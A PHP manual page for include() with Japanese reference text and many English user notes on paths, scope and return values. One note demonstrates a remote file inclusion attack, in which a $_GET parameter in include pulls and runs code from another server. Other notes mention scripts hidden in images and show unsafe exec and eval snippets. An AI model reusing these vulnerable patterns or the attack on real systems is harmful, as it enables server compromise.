I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
include()
include()文は指定されたファイルを読み込み、評価します。
以下の記述内容はrequire()にも当てはまります。
ファイルのインクルードは、指定されたパスから行います。パスを指定しない場合は、 include_path の設定を利用します。 include() は、ファイルを見つけられない場合に warning を発行します。一方 require() の場合は、同じ場合に fatal error を発行する点が異なります。
パス (絶対パスあるいは相対パスのいずれでも) を指定した場合は include_path は無視されます。たとえば ../ ではじまるファイル名を指定した場合は、 親ディレクトリからそのファイルを探します。
PHP でのファイルのインクルードやインクルードパスについての詳細は include_path のドキュメントを参照ください。
ファイルが読み込まれるとそのファイルに含まれるコードは、 include()もしくはrequire()が実行された 行の変数スコープを継承します。 呼び出し側の行で利用可能である全ての変数は、読み込まれたファイル内で利用可能です。 しかし、読み込まれたファイル内で定義されている関数やクラスはすべて グローバルスコープとなります。
例1 基本的なinclude()の例
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
呼び出し側のファイルの関数定義の中で読み込みが行われた場合は、 読み込まれるファイルに含まれる全てのコードは、 その関数内で定義されているものとして動作します。 従って変数のスコープもその関数のものが継承されます。 ただ マジック定数 は例外で、これは読み込みを行う前にパーサが評価します。
例2 関数内での読み込み
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
/* vars.php は foo() のスコープを継承するため *
* $fruit はこの関数の外では無効となります。 *
* $color はglobalとして宣言されているため *
* 有効です。 */
foo(); // A green apple
echo "A $color $fruit"; // A green
?>
ファイルが読み込まれるときには、読み込まれるファイルの先頭で PHPモードを抜けてHTMLモードになり、最後に再びPHPモードに戻ります。 このため、読み込むファイル中のPHPコードとして実行する必要がある コードは、 有効なPHPの開始タグおよび終了タグで括る必要があります。
"URL fopenラッパー"が 有効になっている場合(デフォルト設定では有効です)、ローカルなパス名 の代わりにURL(HTTP経由)を用いて読み込むファイルを指定することが可能です。 URLで指定されたサーバがファイルをPHPコードとして解釈することが 出来る場合には、HTTP GETを使用してURLリクエストに引数を指定することが 出来ます。これはファイルの読み込み云々やスコープの継承とは関係なく、 ただ単純にスクリプトがリモートのサーバで実行されて結果がローカルの スクリプトに読み込まれる、というだけのことです。
PHP 4.3.0 より前のバージョンの Windows 版 PHP は、現在この関数に関してリモートファイルアクセス機能を サポートしていません。これは、allow_url_fopen を 有効にした場合でも同様です。
例3 HTTP経由のinclude()
<?php
/* この例は www.example.com が.phpはPHPスクリプトとして扱い、.txtは通常の *
* ファイルとして扱うように設定されていると仮定しています。また、ここでの *
* '動作します'という言葉の意味は、変数$fooと$barが読み込まれる側のファイ *
* ルで使用可能である、ということです。 */
// 動作しません: www.example.com では file.txt はPHPコードとして解釈されません。
include 'http://www.example.com/file.txt?foo=1&bar=2';
// 動作しません: 'file.php?foo=1&bar=2' という名前のファイルをローカルファイル
// システム上から探し出そうとします。
include 'file.php?foo=1&bar=2';
// 動作します。
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; // 動作する
include 'file.php'; // 動作する
?>
セキュリティの警告
リモートファイルはリモートサーバ上で実行されます(ファイルの拡張子や リモートサーバが PHP の実行を許可しているかどうかに依存します)が、 有効な PHP スクリプトである必要があります。なぜならそれはローカル サーバ上で処理されるからです。もしリモートサーバ上で処理された結果が ほしいだけならば、readfile() を使用するほうがよい でしょう。そうでなければ、リモートスクリプトが有効な期待通りのコードを 生成していることを確認するため、注意を払うことが必要になります。
リモートファイル, fopen(), file()も参照してください。
値の返し方: 読み込まれたファイル内では、ファイルの実行処理を終了し呼出側の スクリプトに戻るためにreturn()文を実行することが可能です。 読み込まれたファイルから値を返すことも可能です。 通常の関数で行うのと同様にincludeコールの値を取得することができます。 しかし、読み込まれたリモートファイル(ローカルファイルの場合も同様)の出力が、 有効なPHPの開始/ 終了タグを有していない限り、リモートファイルを読み込む際に値を 取得することはできません。 必要な変数をこれらのタグの中で宣言することができ、これらの変数は ファイルが読み込まれた位置で使用可能となります。
include() は特別な言語構造であるため、 引数の前後に括弧は不要です。 返り値を比較する際には注意してください。
例4 インクルードの戻り値を比較する
<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
echo 'OK';
}
// works
if ((include 'vars.php') == 'OK') {
echo 'OK';
}
?>
例5 include()とreturn()文
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // 'PHP'と出力されます
$bar = include 'noreturn.php';
echo $bar; // 1が出力されます
?>
読み込みが成功すると$barの値は1となります。上の2つの例の違いに 注目してください。最初の例では読み込まれるファイル側でreturn() を使用し、もう一方では使用していません。 ファイルが読み込めなかった場合、FALSE が返され、 E_WARNING が発生します。
読み込まれるファイルで定義された関数がある場合、 これらは、return()の前後によらず メインファイルで使用できます。 このファイルが二度読み込まれた場合、PHP 5は関数が定義済みであるため 致命的なエラーを発生します。一方、PHP 4は return()の後に定義された関数については、 エラーを発生しません。 ファイルが読み込み済みであるかどうかを調べ、 読み込まれるファイルの内容を条件分岐で返すかわりに include_once()を使用することを推奨します。
PHP ファイルの内容を変数に "include する" もうひとつの方法は、 出力制御関数 を include() とともに用いて 出力をキャプチャすることです。たとえば、
例6 出力バッファリングを用い、 PHP ファイルの内容を文字列として読み込む
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}
?>
スクリプト中で自動的にファイルをインクルードするには、php.ini の auto_prepend_file および auto_append_file オプションも参照ください。
注意: これは、関数ではなく 言語構造のため、可変関数 を用いて コールすることはできません。
require(), require_once(), include_once(), get_included_files(), readfile(), virtual() および include_path も参照ください。
include
02-Nov-2009 10:12
06-Oct-2009 01:43
here's another way to include your files.
<?php
function includeFile($file_name){
$dir = array('./', 'lib/', 'db/', 'student/'); //<-- put here your website directory you want to include
$level = array('', '/', '../', '../../'); //<-- you can add more deep level in this array
$ini_path = array();
foreach($dir as $p){
foreach($level as $l){
$file = $l.$p.$file_name;
if(file_exists($file)){
include_once($file);
return;
}
}
}
} //end function includeFile
includeFile('html.php');
includeFile('libpage.php');
?>
04-Sep-2009 04:59
A even better security solution is to do the following:
$path = basename($page, 'php') . '.php';
if(file_exists($path)) include $path;
This will mean it will only load files with the ".php" extension in the current directory.
Eg $page = 'myfile.php' => 'myfile.php'
$page = '/etc/passwd' => 'passwd.php' => not found
$page = 'myfile.jpg' => 'myfile.jpg.php' => not found
Simple.
Richard
26-Apr-2009 09:59
Alot of people here in this section in the user contributed notes suggest using
<?php
@include('file.php');
?>
to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.
<?php
$theme= "themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include('themes/'.$theme.'/index.php'))
{
// file was missing so include default theme
require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL);
?>
Or maybe this works better
<?php
if(file_exsists('themes/'.$theme.'/index.php'))
include('themes/'.$theme.'/index.php');
else
require('themes/default_theme/index.php');
?>
You decide.
10-Dec-2008 01:47
If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:
1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).
2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.
eg.
<?php
function nav($i){
include "nav$i.php";
}
nav(1);
// same as...
include "nav1.php";
// ...as long as variables are global
?>
So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.
06-Nov-2008 06:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
23-Oct-2008 03:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
26-Sep-2008 05:39
Include and Require will call the __autoload function if the file that is being called extends some other class
Example Code:
File teste.php
<?php
class teste extends motherclass {
public function __construct() {
parent::__construct();
}
}
?>
File example.php
<?php
require("teste.php");
if (class_exists("motherclass"))
echo "It exists";
?>
You will be given the output:
It exists
I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.
22-Sep-2008 04:33
Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
<?php
header('Content-type: image/jpeg');
header('Content-Disposition: inline;');
include '/some_image.jpg';
echo 'This file was provided by example@user.com.';
?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
21-Sep-2008 06:02
Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
index.php
/sub_dir
index.php
/includes
header.php
/style
main.css
where both index.php files include header.php and the header.php file includes something like:
<link rel="stylesheet" type="text/css" href="style/main.css">
This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:
<?php
$include_dist = substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
$calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">
In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.
NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0
17-Jul-2008 08:20
I needed a way of include()ing a php page from a MySQL database. It took some work, but
eventually I came up with this:
<?php
function include_text($text){
while(substr_count($text, '<?php') > 0){ //loop while there's code in $text
list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
echo $html; //echo text before tag
list($code, $text) = explode('?>', $text, 2); //split at closing tag
eval($code); //exec code (between tags)
}
echo $text; //echo whatever is left
}
?>
It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.
Not sure whether it would work with something like:
<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>
I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:
<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>
Which would work with include_text()
It also won't work as-is with either asp-style or short tags.
25-Jun-2008 05:34
When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that
they have different variable scope
and the same session will not be seen from both included files. The original session won't be seen from the url included file.
So:
main script:
<?php
session_start();
$_SESSION['count'] = 234;
echo "sid from script1".session_id();
include "/var/www/htdocs/file1";
include "http://yoursite/file2";
?>
file1
<?php
echo " **sid from file1: ".session_id();
echo " count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count
but file2
<?php
echo " **sid from file2: ".session_id();
echo " count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.
25-Jun-2008 01:52
Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:
<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function
14-May-2008 06:14
Two functions to help:
<?php
function add_include_path ($path)
{
foreach (func_get_args() AS $path)
{
if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
{
trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
continue;
}
$paths = explode(PATH_SEPARATOR, get_include_path());
if (array_search($path, $paths) === false)
array_push($paths, $path);
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
function remove_include_path ($path)
{
foreach (func_get_args() AS $path)
{
$paths = explode(PATH_SEPARATOR, get_include_path());
if (($k = array_search($path, $paths)) !== false)
unset($paths[$k]);
else
continue;
if (!count($paths))
{
trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
continue;
}
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
?>
12-May-2008 05:55
Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>
08-May-2008 04:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
25-Feb-2008 01:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php
function include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}
// used like
include_all_once('dir/*.php');
?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
24-Oct-2007 06:40
two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.
these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...
<?php
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
## A FILE RELATIVE TO THE ROOT DIRECTORY
## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
function rinclude($path){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
include($root . $path);
}
rinclude('file.inc.php'); // in root
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
## CALLS WILL BE RELATIVE TO ROOT
function setinclude(){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
set_include_path($root);
}
setinclude();
include('file.inc.php'); // in root
include('dir/file.inc.phpp'); // in a subfolder
?>
07-Oct-2007 09:19
Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:
<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>
Now anywhere you do an include you can do something like:
<?php include ( "Templates/header.inc") ?>
So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.
30-Aug-2007 05:37
With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:
e.g.
<?php
function foo() {
//some long block of code here producing $bar
return $bar;
}
?>
can be rewritten as:
<?php
function foo() {
return include "foo.php";
}
?>
where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>
The result is the function's body does not get loaded into memory until the function is actually called.
26-Jul-2007 03:07
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
"../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
$relativeArray=explode("/",$relativePath);
$absArray=explode("/",$absPath);
$upTokens=0;
//count the number of ".." tokens that precede the path
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
$upTokens++;
}
// create the absolute path
$filePath=$absArray[0];
for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
$filePath.="/".$absArray[$i];
}
for ($i=$upTokens; $i< count($relativeArray);$i++){
$filePath.="/".$relativeArray[$i];
}
return $filePath;
}
?>
Hope you will find it usefull....
Alex
25-Jul-2007 06:22
Easy way to set $_GET values for local includes.
This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.
This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>
However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>
Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
20-Jul-2007 11:28
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)
http://www.php.net/manual/en/ini.php
29-Jun-2007 03:11
What a pain! I have struggled with including files from various subdirectories. My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:
<?php
$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;
while ($i < $times) {
$rootaccess .= "../";
$i++;
}
include ($rootaccess."foo/bar.php");
?>
This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled through.
04-Jun-2007 09:07
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:
<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>
This creates an include that is relative to the root rather than the current directory.
The dot is for concatenation, not current directory, as with 'include path' syntax.
See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
23-Feb-2007 11:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
10-Feb-2007 05:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
19-Jan-2007 10:32
You can also use debug_backtrace to write a function that do the chdir automatically:
<?php
function include_relative($file)
{
$bt = debug_backtrace();
$old = getcwd();
chdir(dirname($bt[0]['file']));
include($file);
chdir($old);
}
?>
18-Jan-2007 09:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:
<?php
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>
This way neither my includes nor theirs are affected; they all work as expected.
10-Jan-2007 11:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:
<?php
$_GET['param1'] = 'param1value';
$_GET['param2'] = 'param2value';
@include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>
Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.
I spent several hours to figure this out.
16-Nov-2006 03:59
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:
Example 1:
<?php
test();
function test()
{
echo 'In test.';
}
?>
Example 2:
file1.php:
<?php
test();
include 'file2.php';
?>
file2.php:
<?php
function test()
{
echo 'In test.';
}
?>
Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
08-Aug-2006 03:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.
Do this by:
Say the file to be included is 'newpubs.php'
and the main pages are either newpubs_e.php or newpubs_f.php
<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
{
header("Location: newpubs_e.php");
exit;
}
?>
Will send them to newpubs_e.php if they try to access newpubs.php directly.
27-May-2006 11:50
Because there is no quick way to check if a file is in include_path, I've made this function:
<?php
function is_includeable($filename, $returnpaths = false) {
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));
foreach ($include_paths as $path) {
$include = $path.DIRECTORY_SEPARATOR.$filename;
if (is_file($include) && is_readable($include)) {
if ($returnpaths == true) {
$includable_paths[] = $path;
} else {
return true;
}
}
}
return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}
?>
22-Apr-2006 07:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
10-Jan-2006 12:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:
<?php
function includeRecurse($dirName) {
if(!is_dir($dirName))
return false;
$dirHandle = opendir($dirName);
while(false !== ($incFile = readdir($dirHandle))) {
if($incFile != "."
&& $incFile != "..") {
if(is_file("$dirName/$incFile"))
include_once("$dirName/$incFile");
elseif(is_dir("$dirName/$incFile"))
includeRecurse("$dirName/$incFile");
}
}
closedir($dirHandle);
}
?>
14-Aug-2005 03:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.
Like this.
includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');
/* rest of file */
?>
script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');
/* rest of file */
?>
19-Jul-2005 09:10
Hi, there...
I've use this in order to grab the output from an include() but without sending it to the buffer.
Headers are not sent neither.
<?php
function include2($file){
$buffer = ob_get_contents();
include $file;
$output = substr(ob_get_contents(),strlen($buffer));
ob_end_clean();
ob_start();
echo $buffer;
return $output;
}
?>
18-Jul-2005 07:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:
<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
04-Jul-2005 01:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:
- src
- web
- bo
- lib
- test
- whatever
as the include path's behaviour is somehow strange.
The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:
<?php
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>
Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.
Just cross fingers you have permissions to change the server's include path.
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
<?php
if(file_exists("includes/a.php"))
include("includes/a.php")
?>
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
28-Apr-2005 12:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
<?php
include "http://example.com/MyInclude.php";
?>
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
14-Apr-2005 09:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
10-Dec-2004 12:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<?php include("/different/root/script.php"); ?>
And this file contains:
<?php echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
11-Aug-2004 12:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
03-Jun-2004 11:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
15-Jan-2004 03:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>
so "or" have prority on "include"
09-Dec-2003 06:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
04-Dec-2003 09:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.
